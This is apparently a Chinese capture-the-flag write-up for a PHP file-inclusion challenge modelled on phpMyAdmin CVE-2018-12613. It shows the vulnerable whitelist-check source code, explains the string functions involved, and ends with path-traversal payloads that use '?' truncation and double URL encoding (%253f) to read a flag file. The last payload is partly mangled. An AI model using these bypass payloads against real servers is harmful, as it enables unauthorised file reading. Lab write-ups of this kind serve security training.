这道题的原型应该是来自于phpMyadmin的一个文件包含漏洞(CVE-2018-12613)
首先打开题目是一张滑稽图片,检察一下,发现特殊注释source.php:
查看一下,发现一堆源码:
<?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page) { $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; if (! isset($page) || !is_string($page)) { echo "you can't see it"; return false; }
if (in_array($page, $whitelist)) { return true; }
$_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; }
$_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } echo "you can't see it"; return false; } }
if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file']; exit; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; } ?>
|
里面有两个陌生函数:
mb_strpos():返回要查找的字符串在别一个字符串中首次出现的位置
mb_strpos (haystack ,needle )
haystack:要被检查的字符串。
needle:要搜索的字符串
mb_substr() 函数返回字符串的一部分。
str 必需。从该 string 中提取子字符串。
start 必需。规定在字符串的何处开始。
length 可选。规定要返回的字符串长度。默认是直到字符串的结尾。
同时发现hint.php,打入payload:source.php/hint.php
我突然想起他俩并不是上下级关系,单独测试hint.php:
接下来对代码进行审计:
<?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page) { $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; if (! isset($page) || !is_string($page)) {
echo "you can't see it"; return false; }
if (in_array($page, $whitelist)) { return true; }
$_page = mb_substr( $page, 0, mb_strpos($page . '?', '?')//返回$page.?里?号出现的第一个位置 );
if (in_array($_page, $whitelist)) { return true; }
$_page = urldecode($page);
$_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') );
if (in_array($_page, $whitelist)) { return true; } echo "you can't see it"; return false; } } if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file']; exit; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; } ?>
|
三次白名单检测,两次问号过滤
最终payload:
source.php?file=hint.php?../../../../../ffffllllaaaagggg
|
或者 第四个if语句中,先进行url解码再截取,因此我们可以将?经过两次url编码,在服务器端提取参数时解码一次,checkFile函数中解码一次,
?—> %3F ——> %253F 回推两次
file=source.php?file=source.php%253f…/…/…/…/…/ffffllllaaaagggg
|